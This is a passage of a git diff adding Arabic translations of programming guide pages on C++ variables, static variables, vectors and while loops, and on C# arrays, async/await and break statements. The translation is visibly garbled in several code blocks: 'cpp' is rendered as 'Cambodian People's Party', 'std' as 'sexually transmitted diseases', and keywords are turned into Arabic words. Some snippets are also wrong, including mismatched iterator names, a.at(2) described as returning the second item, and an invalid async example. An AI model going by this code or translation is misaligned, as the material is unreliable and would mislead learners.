+*   لا يمكن أن تبدأ أسماء المتغيرات برقم
+*   يمنع استعمال الرموز
+*   لا يسمح بالمساحات
+
+يمكنك تخيل صناديق مختلفة ذات أحجام مختلفة وتخزين أشياء مختلفة كمتغيرات مختلفة.
+
+**ملاحظات :**
+
+1.  **يتجاهل المحول البرمجي C ++ المسافات البيضاء ويتم استخدامها بشكل عام لتجميل الرمز بحيث يكون من السهل على أي مبرمج تصحيح الأخطاء أو فهمها.**
+2.  **إذا لم يتم تهيئة متغير ، فإنه يحتوي على قيمة للقمامة. اسمحوا لي أن أقدم مثالا على ذلك:**
+
+### نطاق المتغيرات
+
+جميع المتغيرات لها مجال عملها ، ومن خارج هذه الحدود لا تحتفظ بقيمتها ، وتسمى هذه الحدود نطاق المتغير. بالنسبة لمعظم الحالات ، بين الأقواس المجعدة ، حيث يتم الإعلان عن متغير متغير موجود ، وليس خارجها. سنقوم بدراسة فئات التخزين في وقت لاحق ، ولكن حتى الآن ، يمكننا تقسيم المتغيرات على نطاق واسع إلى نوعين رئيسيين ،
+
+\*المتغيرات العالمية.
+
+\* المتغيرات المحلية.
+
+#### المتغيرات العالمية
+
+المتغيرات العالمية هي تلك التي تم الإعلان عنها ذات يوم ويمكن استخدامها طوال فترة البرنامج بأي فئة أو أي وظيفة. يجب إعلانها خارج الوظيفة الرئيسية (). إذا تم الإعلان عنها فقط ، فيمكن تعيين قيم مختلفة في وقت مختلف في عمر البرنامج. ولكن حتى إذا تم إعلانها وتهيئتها في نفس الوقت خارج الوظيفة الرئيسية () ، فيمكن أيضًا تعيين أي قيمة لها في أي نقطة في البرنامج.
+
+على سبيل المثال: المعلنة فقط ، لم تتم تهيئتها.
+
+ `#include <iostream> 
+ using namespace std; 
+ int x;                // Global variable declared 
+ int main() 
+ { 
+ x=10;                 // Initialized once 
+ cout <<"first value of x = "<< x; 
+ x=20;                 // Initialized again 
+ cout <<"Initialized again with value = "<< x; 
+ } 
+` 
+
+#### المتغيرات المحلية
+
+المتغيرات المحلية هي المتغيرات التي لا توجد إلا بين الأقواس المجعدة ، والتي أعلن عنها. خارج أنها غير متوفرة ويؤدي إلى خطأ وقت الترجمة.
+
+مثال:
+
+ `#include <iostream> 
+ using namespace std; 
+ int main() 
+ { 
+ int i=10; 
+ if(i<20)        // if condition scope starts 
+  { 
+    int n=100;   // Local variable declared and initialized 
+  }              // if condition scope ends 
+ cout << n;      // Compile time error, n not available here 
+ } 
+` 
+
+### متغيرات ثابتة
+
+المتغير الثابت هو المتغيرات التي لا يمكن تغييرها. على سبيل المثال ، إذا كنت تحتاج إلى "pi" في التعليمة البرمجية ، فلا ترغب في تغييرها بعد التهيئة.
+
+مثال:
+
+ `#include <iostream> 
+ using namespace std; 
+ const double PI = 3.14159253; 
+ int main() 
+ { 
+ //Calculating the area of a circle, using user provided radius 
+ double radius; 
+ //input and output explained in other guide 
+ cin>>radius; 
+ //pi*r^2 
+ double area = PI*radius*radius; 
+ cout<<area<<endl; 
+ } 
+` 
+
+### قيم القمامة في متغير
+
+إذا لم يتم تهيئة متغير ، فإنه يحتوي على قيمة للقمامة. فمثلا:
+
+لذلك من حيث المربعات ، يمكنك تخيل هذا على أنه -
+
+![IMG](https://i.imgur.com/YdbgWHL.png)
+
+\`\` \`حزب الشعب الكمبودي #تتضمن استخدام اسم للمحطة؛ انت مين() { كثافة العمليات cout << "Garbage value in a:" << a << endl؛ // يعلن المتغير المسمى 'a' من عدد صحيح و= 5؛ // تهيئة المتغير. cout << "New value in a" << a << endl؛
+
+} \`\` \`
+
+### الناتج هو:
+
+ `Garbage value in a : 0 
+ New value in a :  5 
+` 
+
+كما ترى ، هناك بالفعل قيمة مخزنة في 'a' قبل أن نعطيها قيمة (هنا ، هي 0). يجب أن يظل هذا في ذهن كل مبرمج بحيث لا يتم إنشاء خطأ منطقي وطباعة قيم البيانات المهملة عند استخدام المتغيرات.
+
+[جرب الرمز بنفسك! :)](https://repl.it/Mg7j)
+
+#### الكلمات الدالة :
+
+_الكلمات المفتاحية هي كلمات محجوزة تنقل معنى خاص إلى المترجم. **لا** يمكن استخدامها لتسمية c ++._ أمثلة على الكلمات الرئيسية: inline، operator، private int، double، void، char، template، using، virtual، break، case، switch، friend، etc.
+
+**يتم استخدام كل من هذه الكلمات الأساسية لوظيفة خاصة في C ++.**
+
+_الجزء المميزات 1 قد انتهى. أراك المعسكر في [الجزء 2](https://guide.freecodecamp.org/cplusplus/tokens-part-II) من الرموز المميزة :)_
+
+**حظا سعيدا لكم جميعا**
+
+**الترميز سعيدة! :)**
+
+**لا تتردد في طرح أي استفسارات على صفحة GitHub [FreeCodeCamp](https://forum.freecodecamp.org/) أو [منتدى FreeCodeCamp.](https://forum.freecodecamp.org/)**
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/tokens-variables/static-variable-info/index.md b/client/src/guide/arabic/cplusplus/tokens-variables/static-variable-info/index.md
new file mode 100644
index 0000000000..3ad544de71
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/tokens-variables/static-variable-info/index.md
@@ -0,0 +1,117 @@
+---
+title: Variables
+localeTitle: المتغيرات
+---
+دعونا نناقش شيء يعرف كمتغيرات. المتغيرات هي بمثابة دلو. يمكنك وضع شيء فيه ثم تغييره بعد ذلك عند الحاجة. في C ++ ، هناك العديد من أنواع المتغيرات مثل الأعداد الصحيحة ، السلاسل ، Booleans وغيرها الكثير. دعونا ننظر إلى برنامج بسيط باستخدام المتغيرات الصحيحة. تخزن أعداد صحيحة الأعداد الصحيحة التي تكون موجبة أو سالبة أو صفر. الأرقام الكاملة ليست أرقام كسور على سبيل المثال 1/2 و 1/4 و 1/5. دعونا ننظر إلى برنامج بسيط يستخدم عددًا صحيحًا متغير.
+
+ `#include <iostream> 
+ using namespace std ; 
+ int main() 
+ { 
+    int a;          // Declare an integer variable a 
+    a = 5;          // Assign value of 5 to variable a 
+    cout << a;      // Display the value of variable a which contains 5 
+    return 0; 
+ } 
+` 
+
+عند تنفيذ هذا البرنامج ، سترى 5 معروضة على الشاشة
+
+*   لاحظ أنه في البرنامج أعلاه // يوضع بعد السطور. الرمز "//" مخصص لتعليق كودنا. رمز بعد الرمز لم يتم تنفيذ "//" في السطر الذي تم وضعه فيه.
+    
+*   على السطر 5 يتم الإعلان عن متغير صحيح بسيط.
+    
+*   في السطر 6 ، يتم تعيين القيمة 5 للمتغير a. الآن عندما نستخدم المتغير a في برنامجنا ، ستكون قيمته 5 ما لم نغيرها.
+    
+*   في السطر 7 ، نعرض قيمة المتغير a و 5 مطبوعة على الشاشة.
+    
+
+### نطاق المتغيرات
+
+جميع المتغيرات لها مجال عملها ، ومن خارج هذه الحدود لا تحتفظ بقيمتها ، وتسمى هذه الحدود نطاق المتغير. بالنسبة لمعظم الحالات ، بين الأقواس المجعدة ، حيث يتم الإعلان عن متغير متغير موجود ، وليس خارجها. سنقوم بدراسة فئات التخزين في وقت لاحق ، ولكن حتى الآن ، يمكننا تقسيم المتغيرات على نطاق واسع إلى نوعين رئيسيين ،
+
+\*المتغيرات العالمية.
+
+\* المتغيرات المحلية.
+
+#### المتغيرات العالمية
+
+المتغيرات العالمية هي تلك التي تم الإعلان عنها ذات يوم ويمكن استخدامها طوال فترة البرنامج بأي فئة أو أي وظيفة. يجب إعلانها خارج الوظيفة الرئيسية (). إذا تم الإعلان عنها فقط ، فيمكن تعيين قيم مختلفة في وقت مختلف في عمر البرنامج. ولكن حتى إذا تم إعلانها وتهيئتها في نفس الوقت خارج الوظيفة الرئيسية () ، فيمكن أيضًا تعيين أي قيمة لها في أي نقطة في البرنامج.
+
+على سبيل المثال: المعلنة فقط ، لم تتم تهيئتها.
+
+ ``include <iostream> 
+ using namespace std; 
+ int x;                // Global variable declared 
+ int main() 
+ { 
+ x=10;                 // Initialized once 
+ cout <<"first value of x = "<< x; 
+ x=20;                 // Initialized again 
+ cout <<"Initialized again with value = "<< x;` 
+ } 
+`` 
+
+#### المتغيرات المحلية
+
+المتغيرات المحلية هي المتغيرات التي لا توجد إلا بين الأقواس المجعدة ، والتي أعلن عنها. خارج أنها غير متوفرة ويؤدي إلى خطأ وقت الترجمة.
+
+مثال:
+
+ `include <iostream> 
+ using namespace std; 
+ int main() 
+ { 
+ int i=10; 
+ if(i<20)        // if condition scope starts 
+  { 
+    int n=100;   // Local variable declared and initialized 
+  }              // if condition scope ends 
+ cout << n;      // Compile time error, n not available here 
+ } 
+` 
+
+الآن دعونا نقرأ عن نوع جديد من المتغيرات
+
+#### متغير ثابت
+
+المتغيرات الساكنة: عندما يتم الإعلان عن متغير على أنه ثابت ، يتم تخصيص مساحة له طوال مدة البرنامج. حتى إذا تم استدعاء الدالة عدة مرات ، يتم تخصيص مساحة للمتغير الثابت مرة واحدة فقط ويتم تحميل قيمة المتغير في المكالمة السابقة من خلال استدعاء الوظيفة التالي. يفيد ذلك في تنفيذ الكوروتين في C / C ++ أو أي تطبيق آخر حيث يجب تخزين الحالة السابقة للوظيفة. في المصطلحات العادية ، يعني ذلك أن المتغير الطبيعي عندما يخرج من النطاق يفقد هويته (قيمة) ، ولكن المتغير الثابت له نطاق عالمي ويحتفظ به حتى نهاية البرنامج ، ولكن بخلاف المتغير الشامل ، ليس من الضروري الإعلان عنه. في بداية البرنامج.
+
+#### إضافي-
+
+Static هي كلمة أساسية في C ++ تستخدم لإعطاء خصائص خاصة لعنصر. يتم تخصيص العناصر الثابتة للتخزين مرة واحدة فقط في عمر البرنامج في منطقة التخزين الثابتة. ولديهم نطاق حتى عمر البرنامج.
+
+#### الشفرة-
+
+ `#include <iostream> 
+ #include <string> 
+ using namespace std; 
+ 
+ void howstaticworks() 
+ { 
+    static int count = 0;  // static variable 
+    cout << count << " "; 
+ 
+    /* value is updated and 
+     will be carried to next 
+     function calls*/ 
+    count++; 
+ } 
+ 
+ int main() 
+ { 
+    for (int i=0; i<5; i++) 
+        howstaticworks(); 
+    return 0; 
+ } 
+` 
+
+#### جرب بنفسك
+
+فقط انسخ الكود وألصقه في الرابط المعطى. تشغيل على IDE- https://ideone.com/
+
+انتاج: 0 1 2 3 4
+
+يمكنك أن ترى في البرنامج أعلاه أن العد المتغير يعلن بأنه ثابت. لذلك ، يتم تنفيذ قيمته من خلال المكالمات الدالة. لا تتم تهيئة عدد المتغيرات في كل مرة يتم استدعاء الدالة.
+
+دعونا نعطي نفس رمز المحاولة عن طريق إزالة الكلمة "ثابتة" وتخمين الناتج ومقارنتها مع واحدة على IDE. يتم الآن تحويل ثابت إلى متغير عادي
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/vector/index.md b/client/src/guide/arabic/cplusplus/vector/index.md
new file mode 100644
index 0000000000..2445bffe28
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/vector/index.md
@@ -0,0 +1,200 @@
+---
+title: Vectors
+localeTitle: ثلاثة أبعاد
+---
+## ثلاثة أبعاد
+
+يعد `vector` C ++ واحدًا من أكثر الحاويات استخدامًا في C ++. الحاوية عبارة عن بنية بيانات تخزن مجموعة من الكائنات التي يمكن أن تختلف عن الترتيب (مثل `vector` !) إلى غير مرتبة (مثل `set` ). تحتوي كل حاويات C ++ على مجموعة مختلفة من الوظائف التي تسمح لك بالوصول إلى كائن (كائنات) في تلك المجموعة ، وتعديلها وتكرارها فوق العناصر الموجودة في بنية البيانات تلك.
+
+تتشابه المؤشرات مع ArrayLists في Java حيث لا يلزم تحديد طول الحاوية. مقارنةً بالمصفوفة التي يتعين عليك فيها تحديد حجمها ، يعتمد حجمها على محتوياتها.
+
+`std::vector` هو جزء من مكتبة C ++ القياسية (ومن ثم `std::` ويسمح لك بتخزين البيانات المتجاورة من نفس نوع البيانات. ملاحظة: **يجب أن تكون جميع الكائنات داخل المتجه من نفس نوع البيانات**
+
+يدخل نوع البيانات الذي تقوم بتخزينه ضمن المتجه ضمن أقواس زاوية بجوار الكلمة الأساسية للمتجه. على سبيل المثال ، إذا كنت ترغب في تخزين مجموعة من السلاسل ، فسيكون المتجه `std::vector<std::string> vector_name`
+
+_ملاحظة_ : يجب عليك تضمين مكتبة المتجه عند استخدام المتجهات!
+
+`#include <vector>`
+
+### ناقلات البناء
+
+هناك العديد من الطرق convinent لبناء ناقلات.
+
+استخدام قائمة intializer - حيث يتم إدراج الكائنات داخل مجموعة من الأقواس: `{ }`
+
+ `std::vector<int> a{1, 2, 3, 4, 5}; // a is a vector of 5 ints: 1, 2, 3, 4 and 5 
+ std::vector<std::string> b{"hello", "world"}; // b is a vector of 2 strings: "hello" and "world" 
+ std::vector<bool> v; // v is an empty vector 
+` 
+
+بناءه من متجه آخر (يعرف هذا باسم نسخة البناء)
+
+ `std::vector<double> a{1.0, 2.0, 3.0}; 
+ std::vector<double> b(a); // b is a vector of 3 doubles: 1.0, 2.0 and 3.0 
+` 
+
+استهلاله بنفس العنصر:
+
+ `std::vector<int> a(100, -1); // a is a vector of 100 elements all set to -1 
+` 
+
+### المتجهات المتجهات
+
+يمكن اعتبار المتكررات كمؤشرات تستخدم على وجه التحديد للتنقل في الحاويات (مثل المتجهات). تبدأ أهم التكرارات `begin()` `end()` . `begin()` بإرجاع مؤشر إلى العنصر الأول في متجه بينما تشير نقاط `end()` إلى موضع واحد بعد العنصر الأخير في متجه. على هذا النحو من خلال حلقات ناقلات يمكن أن يتم على النحو التالي:
+
+ `std::vector<int> vec{1, 2, 3}; 
+ 
+ for(auto vec_it = vec.begin(); vec_it != vec.end(); it++){ 
+    // since vec_it is a pointer and points to the memory address of the item 
+    // inside the vector, vec_it must be dereferenced using '*' 
+    std::cout << *it << '\n'; 
+ } 
+ /*  Output 
+    1 
+    2 
+    3 
+ */ 
+` 
+
+### تعديل ناقل
+
+دفع العناصر إلى متجه:
+
+ `std::vector<int> vec; // constructs an empty vector 
+ 
+ for (int i = 0; i < 10; i = i + 2){ 
+    vec.push_back(i); 
+ } 
+ // vec now holds [0, 2, 4, 6, 8] 
+` 
+
+يختلف إدراج عنصر في موضع معين قليلاً. إدراج ناقلات C ++ تعمل وظيفة على المكرر. وسوف تدرج البند المعطى موضع واحد قبل المعطى مكرر.
+
+ `std::vector<unsigned int> vec{3, 400, 12, 45}; 
+ 
+ auto iter = vec.begin() + 2; // iter now points to '12' 
+ vec.insert(iter, 38); // inserts '38' before '12' 
+ 
+ // vec: [3, 400, 38, 12, 45] 
+` 
+
+### الوصول للعنصر
+
+توفر المكتبة القياسية وظائف مختلفة للوصول إلى عناصر معينة في متجهك.
+
+ `std::vector<std::string> a{"test", "element", "access"}; 
+ 
+ std::string first_item = a.front(); // gets the first item of the vector ("test") 
+ std::string last_item = a.back(); // gets the last item in the vector ("access") 
+ 
+ // To get an element at a specific index (remember: vector indices start at 0) 
+ std::string second_item = a.at(2); // gets "element" 
+ // OR 
+ std::string second_item = a[2]; // gets "element" 
+` 
+
+### الالتفاف على العناصر في `vector`
+
+التكرار فوق العناصر الموجودة في المتحد C ++ `std::vector` يختلف اختلافًا كبيرًا عن التكرار فوق العناصر في متجه في JavaScript أو Ruby. نظرًا لأن C ++ عبارة عن تجريد رقيق لـ C ، فيمكنك فقط التكرار فوق العناصر باستخدام هذه المتغيرات الصغيرة الرائعة التي تسمى المتكررات للوصول إلى كل عنصر. غالبًا ما تأتي المتكررات في شكل مؤشرات هي متغيرات تقوم بتخزين عنوان الذاكرة لمتغير آخر. يمكنك معرفة المزيد حول المؤشرات [هنا](https://www.tutorialspoint.com/cplusplus/cpp_pointers.htm) . ومع ذلك ، لأن التكرارات تعمل كمؤشرات (أو العكس) ، من أجل معرفة ما يشيرون إليه ، تحتاج إلى إدخاله في متغير من نوع appropirate. كيف نفعل ذلك؟ هنا. نحن. اذهب!
+
+ `std::vector<std::string> a{"test", "element", "access"}; 
+ for(auto it = v.begin(); it != v.end(); it++) { //notice use of auto keyword 
+    cout<<*it<<endl; //Will print out string that the iterator is currently ppointing to 
+ } 
+` 
+
+من هنا ، يمكنك القيام بكل أنواع الأشياء الرائعة ، مثل التلاعب بالمتجه أو العبث مع أمره كما تشاء!
+
+### بعض وظائف الأعضاء مفيدة
+
+توفر أيضًا مكتبة القوالب القياسية (STL) _طرقًا_ مختلفة لك:
+
+ `std::vector.size(); // returns the size of the vector (the number of positions in the vector) 
+ std::vector.begin(); // returns an iterator which is a pointer to the beginning of the vector 
+ std::vector.end(); // returns an iterator which is a pointer to the end of the vector 
+ std::vector.empty(); // returns true if the vector is empty, otherwise returns false. 
+ std::vector.front(); // returns the first element of the vector. 
+ std::vector.back(); // returns the last element of the vector. 
+ std::vector.push_back(n); // inserts the element "n" to the end of the vector. 
+ std::vector.pop_back(n); // removes the last element of the vector 
+` 
+
+### المتجهات المحاكية
+
+توفر التكرارات طريقة أخرى للوصول إلى العناصر في المتجه.
+
+إعلان Iterator.
+
+ `std::vector<int> v; 
+ //Iterator delcaration for the above vector will correspond to 
+ std::vector<int>::iterator it; 
+` 
+
+استخدام المكرر لطباعة عناصر المتجه باستخدام الحلقة
+
+ `for(it=v.begin(); it!=v.end(); ++it) 
+ //std::vector::begin and std::vector::end return iterator pointing to first and last element of the vector respectively. 
+  cout<<*it; 
+` 
+
+### متكررة من خلال ناقل
+
+هناك طرق مختلفة للتكرار من خلال المتجه والوصول إلى محتوياته. النماذج التالية مكافئة ، أولها ينطوي على استخدام تعبير قائم على أساس (منذ C ++ 11) ، والثاني يستخدم التكرارات ، والآخر هو التكرار المستند إلى الفهرسة
+
+\`\` \`cpp
+
+# تتضمن
+
+# تتضمن
+
+// أعلن أول المتجه الأمراض المنقولة جنسيا :: ناقلات myVector {1، 2، 3، 4، 5}؛ // a عبارة عن متجه 5 أحصمة: 1 و 2 و 3 و 4 و 5
+
+// استخدام حلقة تستند إلى مجموعة (منذ C ++ 11) لـ (int element: myVector) {/ / / / تقرأ مثل "لكل عنصر في myVector" std :: cout << "العنصر هو" << element << std :: endl؛ }
+
+// باستخدام مبرمج الأمراض المنقولة جنسيا :: ناقلات :: يكررها ؛ // تعلن عن المكرر لـ (it = myVector.begin ()؛ it! = myVector.end ()؛ ++ it) { std :: cout << "العنصر هو" << \* it << std :: endl؛ // Dereference the iterator to access data }
+
+// باستخدام المؤشرات ل(الأمراض المنقولة جنسيا :: ناقلات :: size\_type i = 0؛ i! = myVector.size ()؛ ط ++) { std :: cout << "العنصر هو" << myVector \[i\] << std :: endl؛ // Dereference the iterator to access data }
+
+ `### Sorting A Vector In Ascending Order 
+ Sorting a vector based on ascending order can be done with the help of Sort() in C++. 
+` 
+
+حزب الشعب الكمبودي
+
+# تتضمن
+
+# تتضمن
+
+# تتضمن
+
+استخدام اسم للمحطة؛
+
+انت مين(){
+
+قوه موجهة v {10، 5، 82، 69، 64، 70، 3، 42، 28، 0}؛ sort (v.begin ()، v.end ())؛
+
+cout << "Vector Contents Sorted In Ascending Order: \\ n"؛ for (int e: v) { cout << e << ""؛ }
+
+العودة 0 }
+
+ `### Sorting Vector In Descending Order 
+ Sorting Vector in descending order can be done with the help of third argument namely greater<int>() in Sort() in C++. 
+` 
+
+حزب الشعب الكمبودي
+
+# تتضمن
+
+# تتضمن
+
+# تتضمن
+
+استخدام اسم للمحطة؛
+
+انت مين(){
+
+قوه موجهة v {10، 5، 82، 69، 64، 70، 3، 42، 28، 0}؛ نوع (v.begin () ، v.end () ، أكبر ())؛
+
+cout << "Vector Contents Sorted In Ascending Order: \\ n"؛ for (int e: v) { cout << e << ""؛ }
+
+العودة 0 } \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/while-loop/index.md b/client/src/guide/arabic/cplusplus/while-loop/index.md
new file mode 100644
index 0000000000..acc67e02d0
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/while-loop/index.md
@@ -0,0 +1,36 @@
+---
+title:While-loop
+localeTitle: undefined
+---
+تقوم عبارة loop while بتنفيذ العبارة المستهدفة بشكل متكرر طالما أن الشرط المعطى صحيح.
+
+بناء الجملة: بينما (الشرط) { صياغات)؛ }
+
+النقطة الأساسية في حلقة while هي أن الحلقة قد لا تعمل أبدًا. عندما يتم اختبار الشرط وتكون النتيجة خاطئة ، سيتم تخطي جسم الحلقة وسيتم تنفيذ العبارة الأولى بعد حلقة while.
+
+مثال:
+
+ `#include <iostream> 
+ using namespace std; 
+ 
+ int main () { 
+   // Local variable declaration: 
+   int a = 10; 
+ 
+   // while loop execution 
+   while( a < 20 ) { 
+      cout << "value of a: " << a << endl; 
+      a++; 
+   } 
+ 
+   return 0; 
+ } 
+` 
+
+انتاج:
+
+قيمة أ: 10 قيمة أ: 11 قيمة أ: 12 قيمة أ: 13 قيمة a: 14 قيمة أ: 15 قيمة أ: 16 قيمة أ: 17 قيمة أ: 18 قيمة من: 19
+
+### مصادر
+
+www.tutorialspoint.com
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/array/index.md b/client/src/guide/arabic/csharp/array/index.md
new file mode 100644
index 0000000000..a091c857da
--- /dev/null
+++ b/client/src/guide/arabic/csharp/array/index.md
@@ -0,0 +1,47 @@
+---
+title: Arrays
+localeTitle: المصفوفات
+---
+# المصفوفات
+
+يتم استخدام صفيف لتخزين مجموعة من البيانات من نفس النوع. يمكن استخدام هذا كمتغير واحد يحمل قيم متعددة ، أو مجموعة من المتغيرات.
+
+# قواعد المصفوفات
+
+تبدأ الصفائف من الصفر. العنصر الأول لصفيف هو 0 ، والعنصر الثاني هو 1 ، والعنصر الثالث 2 ، وهكذا.
+
+يجب أن تكون الصفائف من نفس نوع البيانات. يمكنك استخدام أي نوع بيانات في مصفوفة (مثل int أو double أو float أو string أو enum)
+
+يجب أولاً إعلان وتهيئة المصفوفة الجديدة قبل أن يتم الاتصال بها والوصول إليها.
+
+# تعلن مصفوفة
+
+استخدم التنسيق التالي للتصريح عن المصفوفات: `dataType [] nameOfArray;`
+
+# بدء صفيف
+
+استخدم التنسيق التالي لتهيئة صفيف. تقوم هذه الطريقة أيضًا بتعريف الصفيف وتذكر عدد القيم التي سيتم تخزينها في الصفيف.
+
+`dataType [] nameOfArray = new nameOfArray[numberOfElements];`
+
+# تعيين القيم إلى صفيف
+
+يمكنك تعيين قيمة لعنصر مباشرةً باستخدام التنسيق أدناه:
+
+`nameOfArray[2] = 50;`
+
+ستحدد القيمة 50 في العنصر مباشرة \[2\]
+
+يمكنك تعيين عدة قيم دفعة واحدة أثناء التصريح باستخدام الصفيف باستخدام التنسيق أدناه:
+
+`dataType [] nameOfArray = {5,17,19,92};`
+
+ستحدد القيمة 5 في عنصر \[0\] ، 17 في عنصر \[1\] ، 19 إلى عنصر \[2\] و 92 إلى عنصر \[3\].
+
+يمكنك التصريح والبدء وتعيين القيم في المصفوفة مرة واحدة باستخدام التنسيق أدناه:
+
+`dataType [] nameOfArray = new nameOfArray[numberOfElements] {value1,value2,value3,value4};`
+
+يمكنك تخزين مصفوفة مباشرة في مصفوفة أخرى باستخدام التنسيق أدناه:
+
+`int [] nameOfArray = new nameOfArray[4] {2,9,56,1280};` `int [] nameOfSecondArray = nameOfArray;`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/async-await/index.md b/client/src/guide/arabic/csharp/async-await/index.md
new file mode 100644
index 0000000000..ca3dedf5d1
--- /dev/null
+++ b/client/src/guide/arabic/csharp/async-await/index.md
@@ -0,0 +1,70 @@
+---
+title: Async / Await
+localeTitle: غير متزامن / في انتظار
+---
+# Async / Await Keywords
+
+توفر الكلمات الرئيسية غير `async` / `await` في C # طرقًا مريحة لإدارة التطبيقات ذات الموارد المكثفة ، وهي أكثر شيوعًا في اللغات الأمامية مثل مكتبات جافا سكريبت. الأساليب التي ترجع يمكن أن تتوج أنواع `Task<T>` بالكلمة الرئيسية `async` ، وعند استدعاء هذه الطرق في معالج واجهة المستخدم أو سير العمل ، يمكننا استخدام `await` على الطرق لإخبار C # بإرجاع عنصر التحكم مرة أخرى إلى المتصل حتى انتهت مهمة الخلفية. ومن خلال التحكم في المكالمات ذات الموارد المكثفة ، يمكننا السماح لواجهة المستخدم بأن تكون أكثر استجابة وأن تجعل الخدمة أكثر مرونة.
+
+جوهر `async` `await` هي فئة `Task<T>` . عند استخدامه مع الكلمة الرئيسية `async` كنوع الإرجاع للطريقة ، فإننا نوضح أن الطريقة قد وعدت بإرجاع كائن من النوع `T` (للطرق التي لن تعيد أي قيمة ، استخدم `Task` كنوع الإرجاع بدلاً من ذلك) . `Task<T>` هي موضوع متطور خاص بها ، لمزيد من المعلومات ، يرجى الرجوع إلى الوثائق الرسمية: [فئة المهام](https://docs.microsoft.com/en-us/dotnet/api/system.threading.tasks.task?view=netframework-4.7.1) .
+
+بمجرد مواجهة أساليب `async` ، سيتم وضع العمل في قائمة الانتظار في تجمع مؤشر ترابط للتنفيذ ، بينما يستمر المتصل في تنفيذه دون انتظار قيم الإرجاع من أساليب `async` . ومع ذلك ، في معظم الحالات ، تعتمد واجهة المستخدم والخدمة على القيم التي يتم إرجاعها من أساليب `async` : على سبيل المثال ، عندما نقوم بالاستعلام عن قاعدة بيانات محلية باستخدام أساليب `async` ، فإننا نرغب في النهاية في معرفة ما هي نتائج الاستعلام والتصرف عليها ، متزامن. هذا هو المكان الذي `await` يجوز استخدام الكلمة: في حالة استخدام `await` الكلمة عند استدعاء أحد `async` طريقة، فإن المتصل وقفة التنفيذ حتى يتم إرجاع نتيجة لذلك من `async` الطريقة، ويعني في حين، وسوف تستمر في طريقة الأم التنفيذ دون انتظار المتصل للانتهاء. وقال مع ذلك، أي الأساليب التي تستخدم `await` الكلمة يجب أن تكون `async` وظيفة أنفسهم - وهذا هو المتبع من قبل C # مترجم وكذلك، إذا باستخدام Visual Studio إلى حسابك على إكبس C # رمز، فإن IDE يحذرك إذا كان الأسلوب ينتهك `async-await` العقد.
+
+لمعرفة المزيد حول استخدام نموذج الوعد للتعامل مع عدم التزامن ، راجع صفحة ويكيبيديا: [تحقيق](https://en.wikipedia.org/wiki/Futures_and_promises) التزامن من [خلال الوعود](https://en.wikipedia.org/wiki/Futures_and_promises)
+
+## أمثلة
+
+1.  تقديم نموذج للخادم
+
+ `private readonly string url = 'http://localhost:3000/api/submit'; 
+ private readonly HttpContent formContent = new HttypContent(); 
+ 
+ // Update the formContent object while filling up the form. 
+ 
+ SubmitButton.Clicked += async (object, event) => 
+ { 
+  // When PostAsync is hit, the button control will release the UI, while the 
+  //   http post method is still waiting on server response. 
+  HttpClient httpClient = new HttpClient(); 
+  var response = await httpClient.PostAsync(url, formContent); 
+  Console.WriteLine(response.StatusCode); 
+ } 
+` 
+
+2.  المزالج "المزالج"
+
+ `public async Task<int> CalcDamage(Player player) 
+ { 
+  // CPU-intense method, calculate afflicted damage done to the 
+  //   Boss based on the damage types, Boss stats (from static data), 
+  //   player stats, etc. 
+  // ... 
+ } 
+ 
+ public static async Task<int> CalcTotalDamage(IEnumerable<Player> group) 
+ { 
+  var totalDamage = 0; 
+  foreach (Player player in group) 
+  { 
+    // each of the async methods are queued in the thread-pool and move on. 
+    totalDamage += CalcDamage(player); 
+  } 
+ 
+  // total damage done must be calculated from all players in the group 
+  //   before we return the result. 
+  return await Task.WhenAll(totalDamage); 
+ } 
+` 
+
+## الغش ورقة
+
+*   في انتظار: استرداد النتيجة من مكالمة متزامن في الخلفية.
+*   انتظر Task.WhenAny: متابعة إذا اكتمال أي من المهام في قائمة الانتظار.
+*   انتظر Task.WhenAll: متابعة فقط إذا اكتمال كافة المهام في قائمة الانتظار.
+*   في انتظار المهمة.تحديد: لفترة إضافية من الوقت قبل التنفيذ.
+
+## قراءة متعمقة:
+
+*   [برمجة غير متزامنة](https://docs.microsoft.com/en-us/dotnet/csharp/async)
+*   [المتزامن في العمق](https://docs.microsoft.com/en-us/dotnet/standard/async-in-depth)
+*   [3 نصائح أساسية ل asnyc](https://channel9.msdn.com/Series/Three-Essential-Tips-for-Async)
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/break/index.md b/client/src/guide/arabic/csharp/break/index.md
new file mode 100644
index 0000000000..9c1bd97378
--- /dev/null
+++ b/client/src/guide/arabic/csharp/break/index.md
@@ -0,0 +1,66 @@
+---
+title: Break statement
+localeTitle: بيان استراحة
+---
+# بيان استراحة
+
+إنهاء بيان `break` في enclosing حلقة أو عبارة التبديل الذي يظهر. يتم تمرير عنصر التحكم إلى العبارة التي تتبع الحلقة أو كتلة التبديل.
+
+في المثال الأول ، عندما تكون قيمة i هي 3 ، يتم تنفيذ كشف الفاصل ، مما يؤدي إلى إنهاء تنفيذ الحلقة.
+
+## مثال
+
+ `int[] array = { 1, 2, 3, 4, 5 }; 
+ for (int i = 0; i < array.Length; i++) 
+ { 
+  if(i == 3) 
+  { 
+    break; 
+  } 
+    Console.WriteLine("Item on index {0} is {1}", i, array[i]); 
+ } 
+` 
+
+## انتاج:
+
+ `> Item on index 0 is 1 
+ > Item on index 1 is 2 
+ > Item on index 2 is 3 
+` 
+
+في المثال الثاني ، يتم تضمين بيان فاصل في نهاية كل حالة. هذا ينفذ البيانات في القضية دون الاستمرار في القضية القادمة. بدون بيان الاستراحة ، سيستمر البرنامج في تنفيذ الحالة التالية ولن يعمل على النحو المنشود.
+
+## مثال
+
+ `switch (exampleVariable) 
+ { 
+    case 1: 
+        Console.WriteLine("case 1"); 
+        Console.WriteLine("This only shows in example 1"); 
+        break; 
+    case 2: 
+        Console.WriteLine("case 2"); 
+        Console.WriteLine("This only shows in example 2"); 
+    Console.WriteLine("This also only shows in example 2"); 
+        break; 
+    Console.WriteLine("This would not show anywhere, as it is after the break line and before the next case"); 
+    default: 
+        Console.WriteLine("default"); 
+        Console.WriteLine("This only shows in the Default Example"); 
+        break; 
+ } 
+` 
+
+## انتاج:
+
+ `> case 1 
+ > This only shows in example 1 
+ > 
+ > case  2 
